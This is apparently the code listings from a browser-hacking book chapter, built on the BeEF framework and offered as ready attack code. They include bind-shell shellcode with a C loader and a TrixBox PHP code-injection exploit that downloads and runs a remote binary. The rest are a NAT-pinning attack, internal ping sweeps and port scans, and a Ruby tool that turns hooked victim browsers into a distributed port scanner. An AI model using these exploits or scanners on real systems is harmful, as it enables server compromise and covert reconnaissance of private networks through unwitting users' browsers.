    "\x0d\x0a\x5e\x81\xc7\x00\x04\x00\x00\xb9\x62\x00\x00\x00\xf3\xa4\x5f\x5e" + 
    "\x8b\x1c\x24\x89\xf1\x81\xc1\x00\x04\x00\x00\x81\xc1\x62\x00\x00\x00\x68" + 
    "\x86\x0b\x00\x00\x5a\x6a\x03\x58\xcd\x80\x89\xfb\x89\xf1\x81\xc1\x00\x04" + 
    "\x00\x00\xba\xe8\x0b\x00\x00\x6a\x04\x58\xcd\x80\x6a\x06\x58\xcd\x80\x89" + 
    "\xf7\xe9\x63\xfe\xff\xff\x8b\x5c\x24\x0c\x6a\x06\x58\xcd\x80\x31\xdb\x6a" + 
    "\x06\x58\xcd\x80\x8b\x5c\x24\x08\x6a\x29\x58\xcd\x80\x8b\x1c\x24\x6a\x06" + 
    "\x58\xcd\x80\x31\xdb\x43\x6a\x06\x58\xcd\x80\x8b\x5c\x24\x04\x6a\x29\x58" + 
    "\xcd\x80\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xb0\xa4\xcd\x80\x31\xc0\x50\x50" + 
    "\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x6a\x0b\x58\xcd\x80";
    
var uri = "http://172.16.37.155:4444/"; 
xhr = new XMLHttpRequest(); 
xhr.open("POST", uri, true);
xhr.setRequestHeader("Content-Type", "text/plain");
xhr.setRequestHeader('Accept','*/*');
xhr.setRequestHeader("Accept-Language", "en");
xhr.sendAsBinary("cmd=" + BeEF_Bind_Stage);

BeEF Bind Linux - 32bit Stager (compile to ELF file)

#include <stdio.h>
#include <sys/mman.h>
#include <string.h>
#include <stdlib.h>

int (*sc)();

// BeEF Bind Linux 32-bit Stager
char shellcode[] = "\xfc\x31\xc0\x31\xd2\x6a\x01\x5b\x50\x40\x50\x40\x50" + 
"\x89\xe1\x6a\x66\x58\xcd\x80\x89\xc6\x6a\x0e\x5b\x6a\x04\x54\x6a\x02\x6a" + 
"\x01\x56\x89\xe1\x6a\x66\x58\xcd\x80\x6a\x02\x5b\x52\x68\x02\x00\x11\x5c" + 
"\x89\xe1\x6a\x10\x51\x56\x89\xe1\x6a\x66\x58\xcd\x80\x43\x43\x53\x56\x89" + 
"\xe1\x6a\x66\x58\xcd\x80\x43\x52\x52\x56\x89\xe1\x6a\x66\x58\xcd\x80\x96" + 
"\x93\xb8\x06\x00\x00\x00\xcd\x80\x6a\x00\x68\xff\xff\xff\xff\x6a\x22\x6a" + 
"\x07\x68\x00\x10\x00\x00\x6a\x00\x89\xe3\x6a\x5a\x58\xcd\x80\x89\xc7\x66" + 
"\xba\x00\x10\x89\xf9\x89\xf3\x6a\x03\x58\xcd\x80\x6a\x06\x58\xcd\x80\x81" + 
"\x3f\x63\x6d\x64\x3d\x74\x03\x47\xeb\xf5\x6a\x04\x58\x01\xc7\xff\xe7";

int main(int argc, char **argv) {
   char *ptr = mmap(0, sizeof(shellcode), 
    PROT_EXEC | PROT_WRITE | PROT_READ, MAP_ANON | MAP_PRIVATE, -1, 0);
   if (ptr == MAP_FAILED) {perror("mmap");exit(-1);}
   memcpy(ptr, shellcode, sizeof(shellcode));
   sc = (int(*)())ptr;
   (void)((void(*)())ptr)();
   printf("\n");
   return 0;
}

TrixBox exploit - BeEF Bind Linux ELF payload

var uri = "http://172.16.37.155/user/index.php";

/* command to execute with PHP's exec
 * 1. retrieve BeEF Bind 32bit ELF
 * 2. mark the binary as executable
 * 3. run it in the background
*/
var cmd = btoa("/usr/bin/wget -O /tmp/BeEF_bind " + 
"http://browserhacker.com/BeEF_bind " + 
"&& /bin/chmod +x /tmp/BeEF_bind && " + 
"/tmp/BeEF_bind > /dev/null 2>&1 & echo $!");

// POST body. The previous command is decoded from base64
// and then executed with PHP's exec
var body = "langChoice=<?php exec(base64_decode('" + cmd + "'));?>%00";	
var xhr = new XMLHttpRequest();	
xhr.open("POST", uri, true);
xhr.setRequestHeader("Content-Type", 
 "application/x-www-form-urlencoded");
xhr.setRequestHeader('Accept','*/*');
xhr.setRequestHeader("Accept-Language", "en");
xhr.send(body);
console.log("Sending first request with RCE vector...");

function getCookie(name){
  name += '=';
  var parts = document.cookie.split(/;\s*/);
  for (var i = 0; i < parts.length; i++){
    var part = parts[i];
    if (part.indexOf(name) == 0)
      return part.substring(name.length)
  }
  return null;
}

function trigger(){
 // current session cookie
 var phpsessid = getCookie("PHPSESSID");
 console.log("Using PHPSESSID: " + phpsessid);
 
 // to trigger code execution the contents
 // of PHP's serialized $_SESSION need to be evaluated
 var body = "langChoice=../../../../../../../../../../tmp/sess_" + phpsessid + "%00";
 var xhr_trigger = new XMLHttpRequest();
 xhr.open("POST", uri, true);
 xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
 xhr.setRequestHeader('Accept','*/*');
 xhr.setRequestHeader("Accept-Language", "en");
 xhr.send(body);
 console.log("Sending second request to trigger RCE...\n" + 
 "BeEF Bind ELF should now be listening on port 4444.");
}
setTimeout(function(){trigger();}, 3000);

NatPinning - iptables rules example

# iptables rules

# DEFs
OUTIF=eth0
LANIF=eth1
LAN=192.168.0.0/24

# MODULES
modprobe ip_conntrack
modprobe ip_conntrack_ftp
modprobe iptable_nat

# Cleaning
iptables --flush
iptables --table nat --flush
iptables --delete-chain
iptables --table nat --delete-chain

# Kernel vars
echo 1 > /proc/sys/net/ipv4/ip_forward

# Allow unlimited traffic on the loopback interface
iptables -A INPUT -i lo -j ACCEPT
iptables -A OUTPUT -o lo -j ACCEPT

# Set default policies
iptables --policy INPUT DROP
iptables --policy OUTPUT DROP
iptables --policy FORWARD DROP

# Previously initiated and accepted exchanges 
# bypass rule checking
# Allow unlimited outbound traffic
iptables -A OUTPUT -m state --state 
NEW,ESTABLISHED,RELATED -j ACCEPT
iptables -A INPUT -m state --state 
ESTABLISHED,RELATED -j ACCEPT

# Allow inbound traffic on LAN
iptables -A INPUT -i $LANIF -j ACCEPT

# NAT
##########
iptables -t nat -A POSTROUTING -o $OUTIF -j MASQUERADE

# initiated and accepted exchanges from WAN to LAN
iptables --append FORWARD -m state --state 
ESTABLISHED,RELATED -i $OUTIF -o $LANIF -j ACCEPT

# Allow unlimited outbound traffic from LAN to WAN
iptables --append FORWARD -m state --state 
NEW,ESTABLISHED,RELATED -o $OUTIF -i $LANIF -j ACCEPT

iptables -A INPUT -j LOG --log-level debug
iptables -A INPUT -j DROP
iptables -A FORWARD -j LOG --log-level debug
iptables -A FORWARD -j DROP

NatPinning - attack example

  var privateip = '192.168.0.70';
  var privateport = '22';
  var connectto = 'browserhacker.com';

  function dot2dec(dot){
    var d = dot.split('.');
    return (((+d[0])*256+(+d[1]))*256+(+d[2]))*256+(+d[3]);
  }
    
  var myIframe = beef.dom.createInvisibleIframe();
  var myForm = document.createElement("form");
  var action = "http://" + connectto + ":6667/"
 
  myForm.setAttribute("name", "data");
  myForm.setAttribute("method", "post");
  myForm.setAttribute("enctype", "multipart/form-data");
  myForm.setAttribute("action", action);

    
  //create DCC message
  x = String.fromCharCode(1);
  var message = 'PRIVMSG beef :'+x+'DCC CHAT beef '+
  dot2dec(privateip)+' '+privateport+x+"\n";

  //create message textarea
  var myExt = document.createElement("textarea");
  myExt.setAttribute("id","msg_1");
  myExt.setAttribute("name","msg_1");
  myForm.appendChild(myExt);
  myIframe.contentWindow.document.body.appendChild(myForm);

  //send message
  myIframe.contentWindow.document.getElementById(
    "msg_1").value = message;
  myForm.submit(); 

PingSweeping - java applet technique (embed code)

var ipRange = "192.168.0.1-192.168.0.254";
var timeout = "2000";
var appletTimeout = 30;
var output = "";
var hostNumber = 0;
var internal_counter = 0;

beef.dom.attachApplet('pingSweep', 'pingSweep', 'pingSweep',
 "http://"+beef.net.host+":"+beef.net.port+"/", null,
 [{'ipRange':ipRange, 'timeout':timeout}]);

function waituntilok() {
 try {
  hostNumber = document.pingSweep.getHostsNumber();
  if(hostNumber != null && hostNumber > 0){
   // queries the applet to retrieve the alive hosts
   output = document.pingSweep.getAliveHosts();
   clearTimeout(int_timeout);
   clearTimeout(ext_timeout);
   console.log('Alive hosts: '+output);
   beef.dom.detachApplet('pingSweep');
   return;
  }
 }catch(e){
  internal_counter++;
  if(internal_counter > appletTimeout){
   console.log('Timeout after '+appletTimeout+' seconds');
   beef.dom.detachApplet('pingSweep');
   return;
  }
   int_timeout = setTimeout(function() {waituntilok()},1000);
  }
}

ext_timeout = setTimeout(function() {waituntilok()},5000);



PingSweeping - java applet technique (applet code)

import java.applet.Applet;
import java.io.IOException;
import java.net.InetAddress;
import java.net.UnknownHostException;
import java.util.ArrayList;
import java.util.List;

public class pingSweep extends Applet {

public static String ipRange = "";
public static int timeout = 0;
public static List<InetAddress> hostList;

public pingSweep() {
 super();
 return;
}

public void init(){
 ipRange = getParameter("ipRange");
 timeout = Integer.parseInt(getParameter("timeout"));
}

//called from JS
public static int getHostsNumber(){
try{
 hostList = parseIpRange(ipRange);
}catch(UnknownHostException e){}
return hostList.size();
}

//called from JS
public static String getAliveHosts(){
String result = "";
try{
 result = checkHosts(hostList);
}catch(IOException io){}
return result;
}

private static List<InetAddress> parseIpRange(String ipRange)
 throws UnknownHostException {
List<InetAddress> addresses = new ArrayList<InetAddress>();
 if (ipRange.indexOf("-") != -1) {
  //multiple IPs: ipRange = 172.31.229.240-172.31.229.250
  String[] ips = ipRange.split("-");
  String[] octets = ips[0].split("\\.");
  int lowerBound = Integer.parseInt(octets[3]);
  int upperBound = Integer.parseInt(ips[1].split("\\.")[3]);

  for (int i = lowerBound; i <= upperBound; i++) {
    String ip = octets[0] + "." + octets[1] + "." + octets[2] + "." + i;
    addresses.add(InetAddress.getByName(ip));
  }
 }else{ //single ip: ipRange = 172.31.229.240
  addresses.add(InetAddress.getByName(ipRange));
 }
return addresses;
}
// verify if the host is up or down, given the timeout
private static String checkHosts(List<InetAddress> inetAddresses)
 throws IOException {
 String alive = "";
 for (InetAddress inetAddress : inetAddresses) {
  if (inetAddress.isReachable(timeout)) {
   alive += inetAddress.toString() + "\n";
  }
 }
 return alive;
 }
}

PingSweeping - XHR technique (WebWorker)

var xhr_timeout, subnet;

// Set range bounds
// lowerbound = 1 (192.168.0.1)
// upperbound = 50 (192.168.0.50)
// to_scan = 50
var lowerbound, upperbound, to_scan;
var scanned = 0;
var start_time;

/* Configuration coming from the code that
 instantiates the WebWorker (father) */
onmessage = function (e) {
 xhr_timeout = e.data['xhr_timeout'];
 subnet = e.data['subnet'];
 lowerbound = e.data['lowerbound'];
 upperbound = e.data['upperbound'];
 to_scan = (upperbound-lowerbound)+1;
 // call scan() and start issuing requests
 scan();
 start_time = new Date().getTime();
};

function checkComplete(){
    current_time = new Date().getTime();
    // the check on current time is needed for Chrome,
    // because sometimes XHRs they take a long time to complete
    // if the host is down
    if(scanned === to_scan || 
        (current_time - start_time) > xhr_timeout){
        clearInterval(checkCompleteInterval);
        postMessage({'completed':true});
        self.close(); //close the worker
    }else{
        // not every XHR has completed/timedout
    }
}

function scan(){
    // the following returns 192.168.0.
    var c = subnet.split('.')[0]+'.'+
    subnet.split('.')[1]+'.'+
    subnet.split('.')[2]+'.';

    function doRequest(url) {
    var d = new Date;
    var xhr = new XMLHttpRequest();
    xhr.onreadystatechange = processRequest;
    xhr.timeout = xhr_timeout;

    function processRequest(){
     if(xhr.readyState == 4){
      var d2 = new Date;
      var time = d2.getTime() - d.getTime();
      
      scanned++;
      
      if(time < xhr_timeout){
       if(time > 10){
        postMessage({'host':url,'time':time,
            'completed':false});
       }
      } else {
        // host is not up
      }
     }
    }

    xhr.open("GET", "http://" + url, true);
    xhr.send();
    }

    for (var i = lowerbound; i <= upperbound; i++) {
     var host = c + i;
     doRequest(host);
    }
}

var checkCompleteInterval = setInterval(function(){
  checkComplete()}, 1000);

PingSweeping - XHR technique (controller)

if(!!window.Worker){

// WebWorker code location
var wwloc = "http://browserhacker.com/network-discovery/worker.js";
var workersDone = 0;
var totalWorkersDone = 0;
var start = 0;

// Number of WebWorkers to spawn in parallel
var workers_number = 5;
// every 0.5 seconds calls checkComplete()
var checkCompleteDelay = 1000;
var start = new Date().getTime();
var xhr_timeout = 5000;
var lowerbound = 1;
var upperbound = 50; // takes about 5 seconds to create 50 XHRs for 50 IPs.
var discovered_hosts = [];
var subnet =  "192.168.0.0";
var worker_i = 0;

/* Spawn new WebWorkers to handle data retrieval at 'start' position */
function spawnWorker(lowerbound, upperbound){
   worker_i++; 
   // using eval to create WebWorker variables dynamically
   eval("var w" + worker_i + " = new Worker('" + wwloc + "');");
   eval("w" + worker_i + ".onmessage = function(oEvent){" +
   "if(oEvent.data['completed']){workersDone++;totalWorkersDone++;}else{" +
   "var host = oEvent.data['host'];" + 
   "var time = oEvent.data['time'];" +
   "console.log('Discovered host ['+host+'] in ['+time+'] ms');" + 
   "discovered_hosts.push(host);"+
   "}};");
   eval("var data = {'xhr_timeout':" + xhr_timeout + ", 'subnet':'" + subnet +
    "', 'lowerbound':" + lowerbound +", 'upperbound':" + upperbound + "};");
   eval("w" + worker_i + ".postMessage(data);");
   console.log("Spawning worker for range: " + subnet);
}

function checkComplete(){
 if(workersDone === workers_number){
 console.log("Current workers have completed.");
 console.log("Discovery finished on network " + subnet + "/24");
   clearInterval(checkCompleteInterval);
   var end = new Date().getTime();
   //window.stop();
   console.log("Total time [" + (end-start)/1000 + "] seconds.");
   console.log("Discovered hosts:\n" + discovered_hosts.join("\n"));
 }else{
  console.log("Waiting for workers to complete..." +
   "Workers done ["+workersDone+"]");
 }
}

function scanSubnet(){
 console.log("Discovery started on network " + subnet + "/24");
 spawnWorker(1, 50);
 spawnWorker(51, 100);
 spawnWorker(101, 150);
 spawnWorker(150, 200);
 spawnWorker(201, 254);
}

// first call
scanSubnet();

var checkCompleteInterval = setInterval(function(){
  checkComplete()}, checkCompleteDelay);

}else{
console.log("WebWorker not supported!");
}

BeEF Distributed JavaScript Port Scanner - uses the RESTful API

//BeEF Distributed Port Scanner

require 'rest_client'
require 'json'

# RESTful API root endpoints
ATTACK_DOMAIN = "127.0.0.1"
RESTAPI_HOOKS = "http://" + ATTACK_DOMAIN + ":3000/api/hooks"
RESTAPI_MODULES = "http://" + ATTACK_DOMAIN + ":3000/api/modules"
RESTAPI_ADMIN = "http://" + ATTACK_DOMAIN + ":3000/api/admin"

BEEF_USER = "beef"
BEEF_PASSWD = "beef"
# we also assume that BeEF and Metasploit are on the same host.
# be sure to have "host" and "callback_host" in extensions/metasploit/config.yaml
# with the same value of ATTACK_DOMAIN

@token = nil
@modules = nil
@hooks = nil

@activecmds = []
@combinedout = []
@printedout = []

def print_banner
  puts "[>>>] BeEF Distributed Port Scanner"
  puts "[>>>] [by xntrik & antisnatchor - 2013]"

end

def auth
  response = RestClient.post "#{RESTAPI_ADMIN}/login",
                             { 'username' => "#{BEEF_USER}",
                               'password' => "#{BEEF_PASSWD}"}.to_json,
                             :content_type => :json,
                             :accept => :json
  result = JSON.parse(response.body)
  @token = result['token']
  puts "[+] Retrieved RESTful API token: #{@token}"
end

def hooks
  response = RestClient.get "#{RESTAPI_HOOKS}", {:params => {:token => @token}}
  result = JSON.parse(response.body)
  @hooks = result["hooked-browsers"]["online"]
  puts "[+] Retrieved Hooked Browsers list. Online: #{@hooks.size}"
end

def modules
  response = RestClient.get "#{RESTAPI_MODULES}", {:params => {:token => @token}}
  @modules = JSON.parse(response.body)
  puts "[+] Retrieved #{@modules.size} available command modules"
end

################# HELPERS #########################
def get_module_id(mod_name)
  @modules.each do |mod|
    #normal modules
    if mod_name == mod[1]["class"]
      return mod[1]["id"]
      break
      # metasploit modules
    else if mod[1]["class"] == "Msf_module" && mod_name == mod[1]["name"]
           return mod[1]["id"]
           break
         end
    end
  end
end

def random_string(length)
  chars = 'abcdefghjkmnpqrstuvwxyzABCDEFGHJKLMNPQRSTUVWXYZ'
  result = ''
  length.times { result << chars[rand(chars.size)] }
  result
end

def get_hb_id(session)
  @hooks.each do |hook|
    if hook[1]['session'] == session
      return hook[1]['id']
    end
  end
end
#//////////////////// HELPERS ///////////////////////#

def start_port_scan(session,target,ports)
  puts "[+] Starting port scan against #{target} from #{ports} [#{get_hb_id(session)}]"
  mod_id = get_module_id("Port_scanner")
  response = RestClient.post "#{RESTAPI_MODULES}/#{session}/#{mod_id}?token=#{@token}",
                              { "ipHost" => "#{target}",
                                "ports"  => "#{ports}"
                              }.to_json,
                              :content_type => :json,
                              :accept => :json
  result = JSON.parse(response.body)
  @activecmds << {"sess" => "#{session}",
                  "cmdid" => result['command_id']}
  puts "[+] Scan queued..."
end

def poll_port_scan
  mod_id = get_module_id("Port_scanner")
  while 0 do
    @activecmds.each do |cmd|
      begin

        response = RestClient.get "#{RESTAPI_MODULES}/#{cmd['sess']}/#{mod_id}/#{cmd['cmdid']}", {:params=> {:token => @token}}
        result = JSON.parse(response.body)
        result.each do |res|
          data = JSON.parse(res[1]["data"])["data"]
          data = "[#{get_hb_id(cmd['sess'])}] " + data
          @combinedout.push(data) unless @combinedout.include?(data)
        end

      rescue RestClient::ResourceNotFound # no response
        #
      end
    end
    sleep 2
    #puts "..."
    #pp @combinedout
    tmpgap = @combinedout - @printedout
    @printedout = @combinedout + tmpgap
    tmpgap.each do |out|
      puts out
    end

    if @combinedout.collect{|v|v.scan(/Scan Finished/).size}.inject{|sum,x|sum+x} == @activecmds.length
      puts "[+] All Scans Finished!!"
      break
    end
  end
end



def list_hbs
  puts
  puts "[+] Online Browsers:"
  @hooks.each do |hook|
    puts "[#{hook[1]['id']}] #{hook[1]['ip']} - #{hook[1]['name']}#{hook[1]['version']} #{hook[1]['os']}"
  end
end

def distributed_port_scan
  puts
  puts "[+] Provide a comma separated list of browsers to use (i.e. 1 or 1,3 or 1,2,3 etc):"
  selected_browsers = gets
  selected_browsers.chomp!
  selected_browsers = selected_browsers.split(',')
  selected_browsers = selected_browsers.collect{|i|i.to_i}
  selected_sessions = []
  puts "[+] Using:"
  @hooks.each do |hook|
    if selected_browsers.include?(hook[1]['id'].to_i)
      puts "[#{hook[1]['id']}] #{hook[1]['ip']} - #{hook[1]['name']}#{hook[1]['version']} #{hook[1]['os']}"
      selected_sessions << hook[1]['session']
    end
  end

  puts
  puts "[+] Enter target IP to port scan:"
  target_ip = gets
  target_ip.chomp!

  puts
  puts "[+] Enter target ports to scan (i.e. 1-65535 or 22-80 or 1-1024):"
  target_ports = gets
  target_ports.chomp!
  target_ports = target_ports.split('-')
  target_ports = target_ports.collect{|i|i.to_i}

  #Validate port range
  if target_ports[0] >= target_ports[1]
    puts "[-] First port must be lower than the second port"
    return
  end

  if target_ports[0] < 1
    puts "[-] First port must be above 1"
    return
  end

  if target_ports[0] > 65534
    puts "[-] First port must be lower than 65535"
    return
  end

  if target_ports[1] < 2
    puts "[-] Second port must be above 2"
    return
  end

  if target_ports[1] > 65535
    puts "[-] Second port must be lower than 65536"
    return
  end

  target_ports = (target_ports[0]..target_ports[1]).to_a #This constructs an array with every digit from lower to upper
  tp_len = target_ports.length / selected_sessions.length #This helps with slicing the above array

  selected_portranges = []
  target_ports.each_slice(tp_len+1).to_a.each do |new_range| #Construct separate ranges for each selected_session
    selected_portranges << "#{new_range.min}-#{new_range.max}"
  end

  puts
  puts "[+] Split will be as follows:"
  tmpidx = 0
  @hooks.each do |hook|
    if selected_browsers.include?(hook[1]['id'].to_i)
      puts "[#{hook[1]['id']}] #{selected_portranges[tmpidx]}"
      tmpidx = tmpidx+1
    end
  end

  puts
  puts "[+] Ready to proceed? <Enter>"
  gets
  beginning_clock = Time.now

  tmpidx = 0 #reset

  selected_sessions.each do |sess|
    start_port_scan(sess,target_ip,selected_portranges[tmpidx])
    tmpidx = tmpidx+1
  end

  poll_port_scan

  puts "Time Taken: " + (Time.now - beginning_clock).to_s


end

print_banner
# Retrieve the RESTful API token
auth
# Retrieve online hooked browsers
hooks
# Retrieve available modules
modules
# List hooked browsers
list_hbs
# Get all interactive and sexy
distributed_port_scan

PortBanning Analysis - reporter

# given the output of listener.rb that contains all the TCP ports
# that received the connection, enumerates which TCP ports
# are banned.
port = 1
banned_ports = Array.new
previous_port = 1
File.open('not_banned_browserX').each do |line|
  current_port = line.chomp.to_i
  if(current_port == port)
    # go to next port
    port = port + 1
  elsif(port < current_port)
      diff = current_port - port
      diff.times do
  puts "Banned port: #{port.to_s}"
        banned_ports << port.to_s
        port = port + 1
      end
      port = current_port + diff      
  end
end

puts "Banned port list:\n#{banned_ports.join(',')}"

PortBanning Analysis - client-side code

var index = 1;
// iterates up to TCP port 7000
var end = 7000;
var target = "http://192.168.0.3";
var timeout = 100;

function connect_to_port(){
 if(index <= end){
 try{
  var xhr = new XMLHttpRequest();
  var port = index;
  var uri = target + ":" + port + "/";
  xhr.open("GET", uri, false);
  index++;
  xhr.send();
  console.log("Request sent to port: " + port);
  setTimeout(function(){connect_to_port();},timeout);
 }catch(e){
  setTimeout(function(){connect_to_port();},timeout);
 }
 }else{
  console.log("Finished");
  return;
 }
}
connect_to_port();

PortBanning Analysis - server-side code

require 'socket'

# assuming that the TCPServer is run on 192.168.0.3:10000
# we can redirect all TCP ports with iptables with the following:
# iptables -A PREROUTING -t nat -i eth1 -p tcp --dport 1:65535 -j DNAT --to-destination 192.168.0.3:10000
@@not_banned_ports = ""
def bind_socket(name, host, port)
 server = TCPServer.new(host,port)
 loop do
 Thread.start(server.accept) do |client|
  data = ""
  recv_length = 1024
  threshold = 1024 * 512
  while (tmp = client.recv(recv_length))
   data += tmp
   break if tmp.length < recv_length ||
     tmp.length == recv_length
   # 512 KB max of incoming data
   break if data > threshold
  end
  if  data.size > threshold
    print_error "More than 512 KB of data" +
    " incoming for Bind Socket [#{name}]."
  else
   headers = data.split(/\r\n/)
   host = ""
   headers.each do |header|
    if header.include?("Host")
     host = header
     break
    end
   end
   port = host.split(/:/)[2] || 80
   puts "Received connection on port #{port}"
   @@not_banned_ports += "#{port}\n"
   client.puts "HTTP/1.1 200 OK"
   client.close
   end
   client.close
  end
  end
end

begin
bind_socket("PortBanning", "192.168.0.3", 10000)
rescue Exception
File.open("not_banned_browserX",'w'){|f|
  f.write(@@not_banned_ports)
}
end

JavaScript PortScanning

function http_scan(start, protocol_, hostname, port_){

 var img_scan = new Image();
 img_scan.onerror = function(evt){
 var interval = (new Date).getTime() - start;

 if (interval < closetimeout){
  if (process_port_http == false){
    port_status_http = 1; // closed
    console.log('Port ' + port_ + ' is CLOSED');
    clearInterval(intID_http);
  }
   process_port_http = true;
  }
 };
 // call the same handler for both onerror and onload events
 img_scan.onload = img_scan.onerror;
 img_scan.src = protocol_ + hostname + ":" + port_;

 intID_http = setInterval(function(){
 var interval = (new Date).getTime() - start;

 if (interval >= opentimeout){
    if (!img_scan) return;
    img_scan = undefined;

    if (process_port_http == false){
        port_status_http = 2; // open
        process_port_http = true;
    }
    clearInterval(intID_http);
    console.log('Port ' + port_ + ' is OPEN ');
 }
}
, 1);
}

var protocol = 'http://';
var hostname = "172.16.37.147";

var process_port_http = false;
var port_status_http = 0; // unknown

var opentimeout = 2500;
var closetimeout = 1100;

var ports = [80,5432,9090];

for(var i=0; i<ports.length; i++){
 var start = (new Date).getTime();
 http_scan(start, protocol, hostname, ports[i]);
}